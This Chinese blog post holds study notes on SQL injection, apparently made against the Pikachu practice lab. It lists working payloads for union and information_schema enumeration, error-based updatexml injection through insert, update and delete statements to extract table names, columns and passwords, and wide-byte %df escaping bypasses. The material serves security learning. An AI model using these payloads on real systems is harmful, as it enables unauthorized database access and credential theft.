美文网首页
sql注入的一些笔记

sql注入的一些笔记

作者: 表弟_212 | 来源:发表于2018-11-07 09:10 被阅读0次

    注入分类

    • 数字型注入
    select id,email from member where id=1 or 1=1 ;
    

    -字符型注入

    select id,email from member where username='vince' or 1=1 ;
    
    • 搜索型注入
    select * from 表名 where 字段名 like ‘%(对应值)%’;
    
    • XX型注入
    select * from 表名 where name = ('')
    构造为:   XX') or 1=1#
    

    注入提交方式

    -get提交
    -post提交
    -cookie提交


    image.png

    攻击类型

    • union注入
    a' union select database(),user(),version()#%,
    

    -information_schema注入

    获取pikachu数据库的表名a' union select table_schema ,table_name from information_schema.tables where table_schema='pikachu'#
    
    获取pikachu数据库的字段名 a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
    
    最后获取字段值的内容,输入:kobe'union select username ,password from users#%
    
    
    • 基于函数报错注入
      1.思路:在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息.
      2.条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.
      3.基于报错的信息获取(三个常用的用来报错的函数)
    updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
    extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
    floor():MYSQL中用来取整的函数.
    

    4.基于报错的信息获取
    UPDATEXML (XML_document, XPath_string, new_value);
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
    第三个参数:new_value,String格式,替换查找到的符合条件的数据

    • insert / update /delete利用操作错误获取信息

    1 . insert注入

    insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。

    到数据库中输入insert into member (username,pw,sex,phonenum,email,address) values('oldboy',123456,1,2,3,4);来插入一个用户,在输入select * from member;查看所有用户

    进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload,格式如下:

    oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'

    1. 爆表名

    oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
    
    image.png
    1. 爆列名
    ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
    
    image.png
    1. 爆内容
    ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
    
    ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
    
    image.png

    2 . update注入

    ' or updatexml(0,concat(0x7e,(database())),0) or'
    
    image.png

    3 . dalete注入

    delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
    
    • Http Header注入


      image.png

    -Cookie注入


    image.png
    • 盲注 Boolian(布尔型) / 时间 / 报错型

    -宽字节注入

    当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。
    其中\的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成 運',如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
    ' =======>'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.
    小提示: 数字和字母占一个字节,汉字占两个字节。


    image.png
    image.png

    相关文章

      网友评论

          本文标题:sql注入的一些笔记

          本文链接:https://www.haomeiwen.com/subject/cwdmxqtx.html